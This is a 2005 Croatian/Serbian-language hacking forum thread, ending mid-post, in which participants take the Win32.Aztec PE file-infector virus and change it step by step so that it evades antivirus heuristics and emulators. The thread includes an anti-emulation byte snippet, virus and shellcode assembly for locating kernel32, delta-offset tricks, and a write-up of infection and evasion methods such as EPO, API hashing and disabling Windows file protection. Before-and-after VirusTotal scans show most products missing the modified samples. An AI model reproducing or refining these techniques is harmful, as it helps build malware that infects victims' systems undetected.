[ Sundance @ 09.02.2005. 07:22 ] @
Evo jedan kul anti-emu trik. Tko ga prvi skuži, plaćam pivu :> Code: anti_emu equ <dd 0FF04C033h,75C00B48h,0F40174FBh> PS: Kolje eax! |
[ Sundance @ 09.02.2005. 07:22 ] @
[ zvrba @ 09.02.2005. 13:45 ] @
Hm. Kad se to asemblira pa disasemblira dobije se
Code: 00000000 <.text>: 0: 33 c0 xor %eax,%eax 2: 04 ff add $0xff,%al 4: 48 dec %eax 5: 0b c0 or %eax,%eax 7: 75 fb jne 4 <.text+0x4> 9: 74 01 je c <.text+0xc> b: f4 hlt Mrtva petlja od 255 iteracija dok eax ponovno ne postane 0 i tada je preskoci hlt.. or je suvisan jer dec vec postavi ZF kako treba. Cemu bi moglo sluzit.. za usporenje emulacije? [ Vojislav Milunovic @ 09.02.2005. 14:48 ] @
Da nije fora u tome sto emulator pokusava da izvrsi i instrukciju posle jmp/jcc/ret i call? Pa posle ovog je naleti na hlt?
Mislim da ovo dodje kao onaj trik kad imas dva mrtva ret gde emu izvrsava prvi ret pa kaze ajde i drugi da probam i opet se umrtvi =) [ Sundance @ 09.02.2005. 16:26 ] @
Većina "brzih" AV preskače naizgled bespotrebnu petlju i odmah idu na sljedeću instrukciju, zbog čega neće preskočiti onaj hlt, u emulatoru će se dogoditi iznimka i on će se završiti emulaciju.
Vrlo jednostavan, vrlo glup i vrrrrlo učinkovit način za shebat većinu AV :> U biti, AV ne emuliraju doslovno izvođenje asm koda, već ga samo simuliraju. Emulator bi bio otporan na ovaj trik, neki gluplji simulatori neće, jer će pretpostaviti da mogu preskočiti taj dio koda bez mijenjanja ZF. Ovaj je trik vrlo star, ali neki glupi AV (Norton!) ga još uvijek puše kao ništa. Pokušat ću ponovo napisati isključivo generičku verziju PE infektora kojeg svi važniji AV detektiraju samo preko heuristika, pa ću testirati koliko je tko otporan na koju "caku" i postati ovdje rezultate. Da riješimo dilemu tko je najbolji jednom zauvijek :) Ako još netko ima kakav biser neka javi :> [ Sundance @ 09.02.2005. 20:13 ] @
Uzeo sam Win32.Aztec, klasika, jedan od prvih PE infektora, sors iz 29a #4, asemblirao i skenirao:
Code: Scan results File: aztec.bin Date: 02/09/2005 20:58:11 (GMT+1) ---- AntiVir 6.29.0.11/20050209 found [W95/Aztec-1344] AVG 718/20050207 found [W95/Iced.1344] BitDefender 7.0/20050209 found [Win32.Aztec] ClamAV devel-20050130/20050209 found [W95.Iced.1344] DrWeb 4.32b/20050209 found [modification of Win32.Belcebu.1376] eTrust-Iris 7.1.194.0/20050209 found [Win32/Aztec.1344] eTrust-Vet 11.7.0.0/20050209 found [Win32.Iced.1344] Fortinet 2.51/20050209 found [W32/Aztec.1344] F-Prot 3.16a/20050208 found [W32/Aztec.1344] Kaspersky 4.0.2.24/20050209 found [Virus.Win9x.Iced.1344] NOD32v2 1.994/20050209 found [probably unknown WIN32 virus] Norman 5.70.10/20050207 found [W32/Iced.1344] Panda 8.02.00/20050209 found [W95/Iced.1344] Sybari 7.5.1314/20050209 found [W32/Iced.134] Symantec 8.0/20050209 found [W32.Iced.1344] Dakle svi osim NOD32 ga detektiraju preko signatura. Nakon toga sam prije PRVE instrukcije virusa dodao ovaj anti-emu snippet, i vid čuda: Code: Scan results File: aztec.bin Date: 02/09/2005 21:02:45 (GMT+1) ---- AntiVir 6.29.0.11/20050209 found [Heuristic/Virus.Win32] AVG 718/20050207 found nothing BitDefender 7.0/20050209 found [Win32.Aztec] ClamAV devel-20050130/20050209 found nothing DrWeb 4.32b/20050209 found nothing eTrust-Iris 7.1.194.0/20050209 found nothing eTrust-Vet 11.7.0.0/20050209 found [Win32.Iced.1344] Fortinet 2.51/20050209 found nothing F-Prot 3.16a/20050208 found nothing Kaspersky 4.0.2.24/20050209 found nothing NOD32v2 1.994/20050209 found [probably unknown WIN32 virus] Norman 5.70.10/20050207 found [W32/FileInfector] Panda 8.02.00/20050209 found [Suspect File] Sybari 7.5.1314/20050209 found [W32/NGVCK] Symantec 8.0/20050209 found [Bloodhound.W32.2] BRUUUUUUUUUUUUUUUUUUUUUUUKAAAAAAAAAAAAAAAAAA!!!! Dakle odmah u prvoj rundi ih je POLA palo. Uključujući famozni KAV :) A tek sam počeo. Duga je noć, vidjet ćemo još, hehe :) Ajd Vojislav, killer i ostali, znam da imate po još nekog asa u rukavu, da malo pljucnemo po AV i pokažemo kako su šuplje ti današnji razvikani komercijalni AV :) [ Vojislav Milunovic @ 09.02.2005. 20:42 ] @
Proveri mail siso =) onaj na gmail.com =)))
Da vidis kako se jebe heuristika u zdrav mozak =))))) Vecina AV takodje trazi set instrukcija jmp/call/pop medjutim sta biva ako vas kod uopste tako i ne nalazi deltu? Sta cemo sad? tu pada heuristika, onda ajmo malo sa Thredovima da se igramo =) da vidimo kako to emulira neki AV =)) I tu padaju ko zvecke =) Ja sam ranije mislio da imena APIja se kriju zbog heuristike i slicno, medjutim to uopste nije tako... evo 2 pravila emulacij ili heuristike (sta je sta nekako je sve blizu a opet tako daleko) 1. delta nalazenje? ne koristiti jmp/call/push nego koristiti EPO za tu svrhu 2. heuristika gleda uvek zadnji section za sumnjivim kodom Dodajmo prazan section na kraj Rawsize = 0 RawOffset = 0, VirtualAddress = SizeOfImage VirtualSize = SectionAlignemnet, povecamo SizeOfimafe za SectionAlignment i dodamo jedan section iza optional headera =) To je bio nacin da zeznem heuristiku, ali ovaj sa EPO je mnooooogo bolji =))) [ Sundance @ 09.02.2005. 21:25 ] @
Da....multithreaded aplikacije se jaaako teško emuliraju. Pogotovo kad ima onu running threads enkripciju o kojom sam ti pričao :>
Sad ću dodavat caku po caku, i analizirat gdje koji AV puca. Ovaj je virus dosta star, malo ću ga modernizirati, hehe. Citat: 1. delta nalazenje? ne koristiti jmp/call/push nego koristiti EPO za tu svrhu Imam ideju. Da opalim nezavisnu mirko-nit koja će odrediti delta offset i zapisati ga sa WriteProcessMemory. Možda je čak i bolje nego skrivanje u domaćina. Citat: 2. heuristika gleda uvek zadnji section za sumnjivim kodom Ovaj kod što ja testiram jest prva generacija. Dakle nešto što bi baaaaš svi trebali naći. Ove komplikacije ćemo ostaviti za sami kraj, kad se pokaže tko ima najbolju heuristiku :> [ Vojislav Milunovic @ 09.02.2005. 22:04 ] @
Citat: Imam ideju. Da opalim nezavisnu mirko-nit koja će odrediti delta offset i zapisati ga sa WriteProcessMemory. Možda je čak i bolje nego skrivanje u domaćina. Ja upravo razvijam ideju za sledeci experimentalni kod koji ce samo da se zasniva na debugging funckijama (virtualAllocEx, CreateRemoteThread, Write/Read Process memory) =) Da vidim da ovde odrade emulaciju, samo jos mi nije jasno u glavi sta sve zelim da uradim pa ce mi treba duze vreme za razradjivanje ideje =) [ Sundance @ 09.02.2005. 23:32 ] @
Još malo bruke.......užasno velike bruke :)
Dakle, na taj sors od Win32.Aztec, samo sam izmjenio fju kojom traži bazu od kernel32.dll: Code: GetK32 proc _@1: cmp word ptr [esi],"ZM" jz WeGotK32 _@2: sub esi,10000h loop _@1 WeFailed: mov ecx,cs xor cl,cl jecxz WeAreInWNT mov esi,kernel_ jmp WeGotK32 WeAreInWNT: mov esi,kernel_wNT WeGotK32: xchg eax,esi ret GetK32 endp gdje su kernel_ i kernel_wNT predefinirani kao: Code: kernel_ equ 0BFF70000h kernel_wNT equ 077F00000h (Ovaj školski virus je star ~5 god, imate sors u 29a #4) E ja sam taj dio zamijenio sa svojom super-nadji-kernel32 fjom koju sam napravio za potrebe svog shellcode-a :) (sorry na lošem formatiranju, ne da mi se sad dotjerivat :) : Code: GetK32: call __tab ; kernel imagebase table for different versions of vindoze: dd 077E00000h ; NT/W2k dd 077E80000h ; NT/W2k dd 077ED0000h ; NT/W2k dd 077F00000h ; NT/W2k dd 0BFF70000h ; 95/98 dd 077E60000h ; XP home dd 0BFF60000h ; Me __tab: pop esi push 7 pop ebx ; ebx = counter __nxt_base: dec ebx lodsd ; take one imagebase call _krnl_check ; and check it jecxz __got_kernel test ebx, ebx ; check table end jnz __nxt_base mov eax, fs:[TEB_PEB] ; take ptr to PEB test eax, eax ; > 80000000h ? js __PEB_try ; !NT mov eax, [eax.PEB_PebLdrData] mov esi, [eax.PEB_LDR_InInitOrderModuleList.LE_Flink] lodsd ; go to second entry mov eax, [eax.LDR_ModuleBase-LDR_InInitializationOrderLdrEnt.LE_Flink] call _krnl_check jecxz __got_kernel __PEB_try: call __PEB_x mov esp,[esp.EH_EstablisherFrame] ; set SEH frame manually jmp __PEB_failed __PEB_x: xor eax, eax push dword ptr fs:[eax] mov fs:[eax], esp mov eax, fs:[TEB_PEB] ; *PEB mov eax, [eax+34h] mov eax, [eax+0b8h] ; now eax should be kernel's imagebase call _krnl_check __PEB_failed: @SEH_RemoveFrame jecxz __got_kernel __rec_scan: mov eax, [esp.(2*Pshd).Arg1.cPushad] ; take kernel return address. skip pushad, SEH and one call and eax, -1 shl 16 ; align to 10 pages add eax, 2 shl 15 ; add 10 pages __1: sub eax, 2 shl 15 ; and loop per 10 pages call _krnl_check jecxz __got_kernel jmp __1 ; we r gonna find that bloody kernel :) __got_kernel: ret _krnl_check: mov ecx, eax ; gotta set ecx so that we can return true pusha call __temp mov esp, [esp.EH_EstablisherFrame] ; set SEH manually jmp __end_k __temp: xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp mov edx, [eax.MZ_lfanew] ; take RVA to PE header mov ebx, [edx+eax] ; check PE signature xor ebx, 'SUN' ; indirectly sub ebx, IMAGE_NT_SIGNATURE xor 'SUN' ; lil sig jnz __end_k cmp eax, [edx+ecx.NT_OptionalHeader.OH_ImageBase] ; check the predefined imagebase jnz __end_k xor ecx, ecx ;no kernel for us :( __end_k: @SEH_RemoveFrame mov [esp.Pushad_ecx], ecx popa __end: retn Pošto je ona stara metoda donekle obsoletna...i opalim ja sken....i šta to moje oči vide: Code: Scan results File: aztec.bin Date: 02/09/2005 23:51:51 (GMT+1) ---- AntiVir 6.29.0.11/20050209 found nothing AVG 718/20050207 found nothing BitDefender 7.0/20050209 found nothing ClamAV devel-20050130/20050209 found nothing DrWeb 4.32b/20050209 found nothing eTrust-Iris 7.1.194.0/20050209 found nothing eTrust-Vet 11.7.0.0/20050209 found nothing Fortinet 2.51/20050209 found nothing F-Prot 3.16a/20050208 found [could be infected with an unknown virus] Kaspersky 4.0.2.24/20050209 found nothing NOD32v2 1.994/20050209 found [probably unknown WIN32 virus] Norman 5.70.10/20050207 found nothing Samo su Orion emulacijski engine iz f-prota i NOD32 u igri. A nisam ni počeo se igrati sa višenitnim stvarčicama, enkripcijom, pikanterijama OS-a... :> Idemo dalje. [ Mikky @ 09.02.2005. 23:34 ] @
Evo moj skromni doprinos - nesto cime sam se zezao pre par godina (pre nego sto sam shvatio da od toga nema 'leba
![]() Nisam siguran da li je ovo vec provaljena fora al nema veze Code: start: ; entry point call delta_handle ; uzimam delta handle na malo nestandardan nacin delta_handle: ; neki heuristcki skeneri nece ovo prepoznati mov ebp,[esp] ; kao virii kod (upalilo je kod NOD32) add esp,4 ; za 1st generaciju sub ebp, offset delta_handle [ Vojislav Milunovic @ 10.02.2005. 00:00 ] @
E jebo si mu kevu sto si napisao rutinu za trazenje kernela =)))
Zar nije bilo prostije da skeniras SEH ? =) Imaj malo milosti prema svojim ortacima koji moraju da citaju ovaj kod =))) I gde vrisis to skeniranje? Na netu? ili imas sve AVove kod kuce =) [ Sundance @ 10.02.2005. 01:58 ] @
Citat: Vojislav Milunovic: E jebo si mu kevu sto si napisao rutinu za trazenje kernela =))) :) Pa šta joj fali? Baš je "jeba*ka". Koristi kombinaciju svih poznatih metoda koje nešto valjaju :) Citat: Zar nije bilo prostije da skeniras SEH ? =) Misliš PEB/TEB blok? Mislim da je onaj SEH koji prvo testira baze kernela na ne-winXP platformama i ubio većinu emulatora. Baš ću to sad probat. Tako star anti-debugging trik, a da se primjeniti i na obsfukiranje execution-flowa :> Citat: Imaj malo milosti prema svojim ortacima koji moraju da citaju ovaj kod =))) Pisao sam ja i ružnijeg koda :> Mogli bi i bacit neko natjecanje, tko će u manje bajtova napraviti neki infektor? Ne mora biti za PE, možemo i ELF. Evo ovdje sam jučer slučajno naletio asm tut za BSD. Znam da imaš nezavršen jedan virus za BSD, možda ti bude zanimljivo :> Samo bad je što mi se neće instalirati pa moram pod VMware ga pičit :( Citat: I gde vrisis to skeniranje? Na netu? ili imas sve AVove kod kuce =) http://www.virustotal.com/flash/index_en.html [ Vojislav Milunovic @ 10.02.2005. 02:29 ] @
Ma ne bas sam mislio SEH, pogledaj source sto sam ti poslao =)
Doduse to jeste deo TEBa ali bas mislim na pointer i handler u okviru SEH, ono dok ne dodjes do 0XFFFFFFFF e kad nadjes taj handle onda je SEH ispred pointer na kernel32.dll pa samo umanjujes adresu 0x10000 i normalno obrises low word pre toga i tako trazis MZ =) Ne moz da omane =) http://nonenone.net/freebsd_tut.txt pa znam ja kako se pozivaju API na FreeBSD =) Uvek moras da imas jedan dummy dword pre int 0x80 =))) [ Vojislav Milunovic @ 10.02.2005. 02:40 ] @
Code: Results of a file scan This is the report of the scanning done over "iexplore.ex_" file that VirusTotal processed on 02/10/2005 at 03:36:07 (GMT+1). Antivirus Version Update Result AntiVir 6.29.0.11 02.09.2005 no virus found AVG 718 02.07.2005 no virus found BitDefender 7.0 02.09.2005 no virus found ClamAV devel-20050130 02.10.2005 no virus found DrWeb 4.32b 02.09.2005 no virus found eTrust-Iris 7.1.194.0 02.10.2005 no virus found eTrust-Vet 11.7.0.0 02.09.2005 no virus found Fortinet 2.51 02.09.2005 no virus found F-Prot 3.16a 02.08.2005 no virus found Kaspersky 4.0.2.24 02.10.2005 no virus found NOD32v2 1.995 02.10.2005 no virus found Norman 5.70.10 02.07.2005 no virus found Panda 8.02.00 02.09.2005 no virus found Sybari 7.5.1314 02.10.2005 no virus found Symantec 8.0 02.09.2005 no virus found lol =) Jos niko =) [ Sundance @ 10.02.2005. 02:42 ] @
Citat: Vojislav Milunovic: Ma ne bas sam mislio SEH, pogledaj source sto sam ti poslao =) Doduse to jeste deo TEBa ali bas mislim na pointer i handler u okviru SEH, ono dok ne dodjes do 0XFFFFFFFF e kad nadjes taj handle onda je SEH ispred pointer na kernel32.dll pa samo umanjujes adresu 0x10000 i normalno obrises low word pre toga i tako trazis MZ =) Ne moz da omane =) Tako Aztec izvorno i koristi, align na 10 page-va je klasika :> Bolje je prvo lookup tablica, pa PEB, pa tek onda ta metoda jer je jako spora pošto za svako "fulavanje" se opali iznimka koja troši tisuće CPU ciklusa :> Citat: http://nonenone.net/freebsd_tut.txt pa znam ja kako se pozivaju API na FreeBSD =) Uvek moras da imas jedan dummy dword pre int 0x80 =))) Koliko ti je trebalo za ovaj textić, 10 min da ga napišeš? :) Šala :) Dobar ovaj BSD, mnogo mi se više sviđa nego onaj đumbus od linuxa :> [ Sundance @ 10.02.2005. 09:03 ] @
Evo, nakon temeljitog peterosatnog testiranja mogu reći da od testiranih AV samo NOD32, Panda i f-prot imaj nešto što se može nazvati heurističkim engine-om. Ostali su svi ostali baš totalno s*****.
Prešao sam većinu najčešćih caka, gornja 3 ovaj modificirani Aztec detektiraju baš isključivo preko heuristika, dok fakin neuništivi Symantec još uvijek nalazi Bloodhound.W32.2 :) Mislim, znam da koristi klasičnu signaturu, samo još nisam "upecao" o kojem se snippetu koda radi :) Eto, tek tako da se zna :) Napisat ću tokom dana opširnije komentare, a sljedeću noć idemo na nasty anti-emu trikove, hehe. Btw Mikky onaj tvoj trik naravno ne djeluje protiv NOD32, ali zato f-prot ga ne prijavi! Kasnije, kad napravim još neke modifikacije, prijavi ga. Pa kad još neke, ne prijavi, sad kad sam unakazio ovaj Aztec opet ga prijavljue. Čudan ovaj f-prot :> Mogu vam reći da nakon što sam ovo prošao, ne bih se čudio da neki AV ovo detektiraju kao win32.Aztec: Code: #include <windows.h> char* oznaka1 = "[Win32.Aztec v1.01]"; char* oznaka2 = "(c) 1999 Billy Belcebu/iKX"; int main() { MessageBox(0, "Aztec is a bugfixed version of my Iced Earth\nvirus, with some optimizations and with some\r" "'special' features removed. Anyway, it will\r" "be able to spread in the wild succefully :)\r" "(c) 1999 by Billy Belcebu/iKX", "[Win32.Aztec v1.01]", 0); } Pravo čudo kako neki AV imaju muda govoriti da imaju heuristike. Imaju qrac! [ Vojislav Milunovic @ 10.02.2005. 15:02 ] @
Haha ko je to presao na C =))))
[ Sundance @ 11.02.2005. 01:50 ] @
Ma dobar je C za ovako nešto na brzinu. Mada je C# za klasu produktivniji alat :>
Evo u C# složio programčić koji može slati mejl direktno na virustotal sa mojim testnim sample-om kao attachmentom, tako da ne moram svaki put ručno slati već ga mogu staviti u .bat gdje asembliram virii. U C-u bi trebao koristiti neku opskurnu biblioteku za SSL, a pazi kako je to u C# jednostavno: Code: public static void SaljiMejl() { MailMessage mejl = new MailMessage(); mejl.From = "[email protected]"; mejl.To = "[email protected]"; mejl.Subject = "SCAN"; mejl.Body = "SCAN"; mejl.Attachments.Add(new MailAttachment(argv[1])); mejl.BodyFormat = MailFormat.Text; mejl.Fields["http://schemas.microsoft.com/cdo/configuration/smtsperver"] = "smtp.gmail.com"; mejl.Fields["http://schemas.microsoft.com/cdo/configuration/smtpserverport"] = 25; mejl.Fields["http://schemas.microsoft.com/cdo/configuration/sendusing"] = 2; mejl.Fields["http://schemas.microsoft.com/cdo/configuration/smtpauthenticate"] = 1; mejl.Fields["http://schemas.microsoft.com/cdo/configuration/sendusername"] = "sunnis"; mejl.Fields["http://schemas.microsoft.com/cdo/configuration/sendpassword"] = "xxxxxxxxxxxxx"; mejl.Fields["http://schemas.microsoft.com/cdo/configuration/smtpusessl"] = 1; try { SmtpMail.SmtpServer = "smtp.gmail.com"; SmtpMail.Send(mejl); } catch (System.Web.HttpException ehttp) { Console.WriteLine(ehttp.Message + "\n" + ehttp.ToString()); } } Dodaš ga još kao hotkey u ultraedit i stvar je rješena :> Samo je bad što moraš ručno gledati rezultat preko webmail sučelja, ali što je tu je, ionako čekaš po 10-ak min, a gmail se sam refresha :> [ Vojislav Milunovic @ 11.02.2005. 02:11 ] @
Ma idi begaj, i sta mu dodje ovo cudo http://microsoft.com...
A zar smtp.gmail.com ne ide preko 465 i ne trazi autentifikaciju? =))) [ Sundance @ 11.02.2005. 02:47 ] @
Pogledaj malo bolje pa ćeš vidjeti da postoje i username i pass :>>
A može i preko 465 ili whatever, iako koristi SSL :> Oni Fields[] elementi su jaaako nedukementirane XML šeme koje interno koristi CDO API, preko koga je implementirana System.Web.Mail.MailMessage klasa. Ovo je totalno nedokumentirano, pogledaj samo na MSDN što piše. NIŠTA! LOL! Ima na webu sve i svašta za CDO, ali nisam našao nijedan primjer koji koristi SSL, a kojeg gmail zahtijeva. Samo gomila lamera moli da im netko napiše managed wrappere :)) Ludnica. [ Sundance @ 11.02.2005. 07:08 ] @
Bloodhound.W32.2
Citat: The virus name Bloodhound.W32.2 is used exclusively by Symantec antivirus products when a potentially unknown virus is found using Symantec Bloodhound technology. Bloodhound technology consists of heuristic algorithms that are used to detect unknown viruses. The actual file that is detected under Bloodhound.W32.2 is likely to be infected with a new Win32 file-infecting virus. Citat: Bloodhound.W32.2 is detected only in Portable Executable (PE) files. Such viruses might be able to replicate on Windows 95, 98, Me, NT, 2000, and XP systems. Bloodhound.W32.2 can detect different types of viruses, including some difficult polymorphic or metamorphic viruses. Mirror, mirror, on the wall, what's the stupidest AV heuristics of them all? Code: MSH>cat nort.asm p586 model flat .data db ? .code t: push eax div ecx pop eax sub ecx, edx add eax, ecx pop edx movzx eax, word ptr [edi+06h] dec eax imul eax, eax, 28h add esi, 78h mov edx, [edi+74h] shl edx, 3 mov edx, [esi+10h] mov eax, [esi+0Ch] push eax div ecx sub ecx, edx add eax, ecx pop edx or dword ptr [esi+24h],0A0000020h end t MSH>.\nort.bat C:\TASM\test>del nort.bin C:\TASM\test>tasm32 /ml /m3 nort,,; Turbo Assembler Version 5.3 Copyright (c) 1988, 2000 Inprise Corporation Assembling file: nort.ASM Error messages: None Warning messages: None Passes: 1 C:\TASM\test>tlink32 /Tpe /aa /c /v nort,nort,,import32.lib, Turbo Link Version 1.6.71.0 Copyright (c) 1993,1996 Borland International Warning: Debug information enabled, but no debug information found in OBJs C:\TASM\test>pewrsec nort.exe PEWRSEC - Sets the WRITE bit to a PE section - (c) 1997 jqwerty/29A Ok C:\TASM\test>rename nort.exe nort.bin C:\TASM\test>sendmail c:\tasm\test\nort.bin Datoteka uspješno poslana! MSH> (sad u gmail se prebacim): Scan results File: nort.bin Date: 02/11/2005 08:03:37 (GMT+1) - Hide quoted text - ---- AntiVir 6.29.0.11/20050210 found nothing AVG 718/20050210 found nothing BitDefender 7.0/20050210 found nothing ClamAV devel-20050130/20050210 found nothing DrWeb 4.32b/20050210 found nothing eTrust-Iris 7.1.194.0/20050210 found nothing eTrust-Vet 11.7.0.0/20050211 found nothing Fortinet 2.51/20050211 found nothing F-Prot 3.16a/20050210 found nothing Kaspersky 4.0.2.24/20050211 found nothing NOD32v2 1.996/20050210 found nothing Norman 5.70.10/20050207 found nothing Panda 8.02.00/20050210 found nothing Sybari 7.5.1314/20050211 found nothing Symantec 8.0/20050210 *****found [Bloodhound.W32.2]***** U biti sam skužio kako zaobići heruistike svakog od njh na testu, ovo sa Symantecom je samo sprdnja :> U biti mogu napraviti false positive generator za svaki AV :> Tut stiže većeras ili....kad uhvatim slobodnog vremena. Ovako loši proizvodi zaslužuju jednu poštenu demistifikaciju. [ Vojislav Milunovic @ 11.02.2005. 15:16 ] @
Znaci sugavi Symantec je pobednik?!!?!?
[ Sundance @ 11.02.2005. 16:37 ] @
Au contraire mon ami, Symantec je najgluplji od svih :)
[ Vojislav Milunovic @ 11.02.2005. 16:55 ] @
haha vidim volis Herkula Poaroa =))))
[ Sundance @ 12.02.2005. 06:51 ] @
U ovom ću kratkom članku (za dužu verziju tko plati više :) pokazati kakvo su s***** današnji AV i kako su primitivne njihove so-called generičke zastite za viruse za koji još ne postoje definicije, u narodu poznate kao heuristike.
Za primjerak sam odabrao klasiku, old skul primjerak PE infektora - Win32/Aztec virus iz poznatog tutoriala Billy Belcebu-a Billy Belcebu Virus Writing Guide 1.00 for Win32. Taj tutorial je star...prilično, i predstavlja jedan od prvih tutoriala kako pisati Win32 viruse. U to vrijeme nije bilo puno dokumentacije, ljudi nisu puno znali o windows internals pa su se snalazili kako mogu :> E sad se malo pozabavimo Win32/Aztec. Aztec je klasičan PE infektor, praktički najelementarniji i najjednostavniji mogući virus koji se može napisat. Neke od tehnika koje Billy opisuje i koristi u svome tutorialu su obsoletne, te su danas pronađeni sigurniji i bolji ekvivalenti. Aztec je virus koji i dan dana ima hrpicu varijacija - budući da je Billy-ev tut praktički početnica za Win32 viruse, svaki 'aker početnik napravi neku svoju verziju koja se malo razlikuje od dotičnog virusa. Recimo ne inficira datoteke u Windows direktoriju, nego u Program Files :))) Šala. Evo i dan danas (11.2.2005), gledam dnevni update od NOD32, i sto to vidim: Win32/Aztec.1344, Win32/Aztec.1356 :)) Dakle, šta radi ovaj Aztec. -> Kad se pokrene prvo na klasičan način računa delta offset -> Nakon toga traži bazu u memoriji od kernel32.dll tako što koristi SEH-zaštićenu petlju, spuštajući se po 10 page-va u odnosu na adresu iz koje virus pozvan u memoriji -> Nakon toga traži adrese API-ja koji su mu potrebni tako sto parsira export tablicu kernel32.dll. Imena API-ja su pohranjeni kao statički stringovi -> Nakon toga sprema u sebe stringove koji predstavljaju Windows direktorij, sistemski direktorij i trenutni direktorij -> Nakon toga u petlji u svakom od tih direktorija inficira po 5 datoteka sa maskom "*.exe" -> Rutina za inficiranje je klasika: MMF + potpis u jednom od rezerviranih polja PE headera, stavlja svoj potpis "AZTC" čime označava već inficirane datoteke kako se nebi dogodila višestruka infekcija -> Inficirane datoteke e imati entrypoint preusmjeren na tijelo virusa koje je pridodano zadnjoj sekciji, kojoj je usto postavljen +w atribut. Dakle, sve u svemu klasika. Danas, da netko piše virus, malo bi što koristio od gore navedenog: -> Delta offset se računa u letu, ili ga daje inficirani domaćin, ili se uopće ne oduzima onaj "offset delta" čime se dobijaju manji opkodi i smanjuju zastavice za heuristike -> Adresa kernel32.dll se u 4 instrukcije vadi iz PEB-a -> Adrese API-ja se pohranjuju kao neki jednostavni hashevi (CRC32, Adler-32, neki glupi rot + shift algo...) -> Ne inficiraju se sistemske datoteke bez da se prethodno ne isključi SFP/WFP, jer ih win po defaultu vrati čim se oni promijene. Osim toga, nadgleda ih i većina AV. -> MMF se još uvijek koriste, ali potpisi se ne ostavljaju preko nekih takvih očitih signatura koje se mogu vidjeti u hex editoru. Obično se provjerava da li je aktivan mutex/postoji globalni atom/da li je dužina datoteke modulo <neki broj> = magičan broj/umetni matematički što perverzniji algoritam iz teorije brojeva po želji, tj. nešto puuuno manje sumnjivo, tj. nešto sto se moze odrediti tek @ runtime, a ne za vrijeme statičke analize koda :) -> NE INFICIRA se zadnja sekcija osim ako se baš i ne mora :) POGOTOVO se entrypoint prve instrukcije programa ne preusmjerava u nju. Ako se inficira zadnja sekcija, koristi se EPO za redirekcju kontrolnog toka izvođenja, a ne redirekcija OH_AddressOfEntryPoint polja. I zaražena sekcija nema IMAGE_SCN_MEM_WRITE bit postavljen, već se u letu mijenjaju permisije page-eva s VirtualProtectEx, ili se tijelo virusa kopira na stog koji je obicno (gle čuda :) writable. Mada na novijim procesorima sa NX/EDB bitom + DEP neće biti executable, ali njih rijetko tko ima danas :>>> Dakle, manje više se u tih 5-6 godina koliko je ovaj virus star sve živo promijenilo :) Ono....trebali bi ga svi AV detektirati kao od šale. Dakle što dobijemo skeniranjem korištenjem virustotal servisa: Code: Scan results File: aztec.bin Date: 02/12/2005 03:02:37 (GMT+1) ---- AntiVir 6.29.0.11/20050211 found [W95/Aztec-1344] AVG 718/20050210 found [W95/Iced.1344] BitDefender 7.0/20050211 found [Win32.Aztec] ClamAV devel-20050130/20050211 found [W95.Iced.1344] DrWeb 4.32b/20050211 found [modification of Win32.Belcebu.1376] eTrust-Iris 7.1.194.0/20050212 found [Win32/Aztec.1344] eTrust-Vet 11.7.0.0/20050211 found [Win32.Iced.1344] Fortinet 2.51/20050212 found [W32/Aztec.1344] F-Prot 3.16a/20050210 found [W32/Aztec.1344] Kaspersky 4.0.2.24/20050212 found [Virus.Win9x.Iced.1344] NOD32v2 1.997/20050211 found [Win32/Aztec.1344] Norman 5.70.10/20050211 found [W32/Iced.1344] Panda 8.02.00/20050211 found [W95/Iced.1344] Sybari 7.5.1314/20050212 found [W95/Iced.1344] Symantec 8.0/20050211 found [W32.Iced.1344] Dakle svi ga detektiraju manje-više. Billy veli da je Aztec nastao kao varijacija Iced virusa, pa ga neki i kao takvog imaju u bazi :> E sad se počnimo igrati. Kao što sam spomenuo na samom početku ove teme, imamo jedan uberkul komadić koda koji ide ovako: Code: anti_emu equ <dd 0FF04C033h,75C00B48h,0F40174FBh> Šta ovaj komadić koda radi, pročitajte na početku ove teme :> U biti je kod jaaaaako, jaaaako glup. Općenito se anti-emu forice sastoje od nekih trikova kod kojih će emulator "krivo pretpostaviti" šta kod radi. U ovom slučaju su krivo procijenili petlju, pa su pretpostavili da će se izvršiti hlt instrukcija koja će, pošto se program izvodi pod ring3, uzrokovati iznimku i emulacija će se završiti. Druge, općenite, cake su sl. ovoj i općenito se sastoje od eksploatiranja nedostatatka znanja AV-a o okolini u kojoj se virus izvodi. Recimo, korištenje nedokumentiranih memorijskih lokacija (PEB/TEB je idealan!, mogu i neki dijelovi sistemskih DLL-ova..), caka vezanih za pojedini OS (recimo cs selektor, njegova pretpostavljena vrijednost na NT familiji) koje se mogu iskoristiti za generiranje grananja koda, prije AV nisu dobro emulirali retf (far return), pa ako bi radio push offset func, push cs, retf - ne bi skužio :> ....poanta je napraviti što VIŠE takvih potencijalno nepoznatih grananja, sa što vise slijepih ulica, kako bi AV jako teško "upiknuo" onu pravu. AV je vremenski i resursima jako ograničen pri analizi pojedine datoteke. Također, svaka heuristika je kao mini virtualna mašina - zna PUNO toga o detaljima OS-a kojeg emulira, ali ne zna SVE, tj. postoje rupice koje virus može eksploatirati kako bi izbjegao život u matrixu :) U biti su heuristike baš to -> OS so real that you wouldn't know the difference between the emuOS and the realOS...............you think that's the memory you're reading? :>>> Enivej, takvi se nedostaci odavno iskorištavaju prije svega za EPO. Zamislite da virus zarazi neki program sa kompleksnim GUI-em (a koji to danas na win nije :)...virus recimo patcha DefWndProc handler za, recimo, neku specifičnu WM_* poruku...emulator se konkretno u ovom slučaju može hebat. Zato jer naravno nema resursa/vremena na raspolaganju da emulira cijelu logiku izvođenja sve do tog konkretnog dijela koda. Zato su neki AV pomalo glupi. Ustvari jako glupi :) U biti imaju predefiniranu bazu "sumnjivog" koda, te parsaju sekciju za kod i u potrazi za tim "sumnjivim" snippetima, te ako ih ima dovoljan broj, oglase zvona za uzbunu. Nedostatak tog pristupa kod kojeg nema dubinske analize kontrolnoga toka jest što je jaaako podložan generiranju FP (False Positive), te neće raditi za bilo koji inteligentnije kriptirani kod (koji standardni, glupi x-raying ne može penetrirati, recimo sa klizećim XOR ključem baziranim na kongruentnom modelu). Koliko je ta metoda s*****, pokazao sam već na Symatecovim "heuristikama" koje ju koriste, i na onom 20-instruction so-called virusu :)))) Daklem, da počnemo... Umentimo anti_emu snippet kao makro odmah na sam početak virusa...dovoljno je jednom. I to ovako: Code: virus_start label byte aztec: anti_emu pushad ; Push all the registers ... Code: Scan results File: aztec.bin Date: 02/12/2005 04:33:17 (GMT+1) ---- AntiVir 6.29.0.11/20050211 found [Heuristic/Virus.Win32] AVG 718/20050210 found nothing BitDefender 7.0/20050211 found [Win32.Aztec] ClamAV devel-20050130/20050211 found nothing 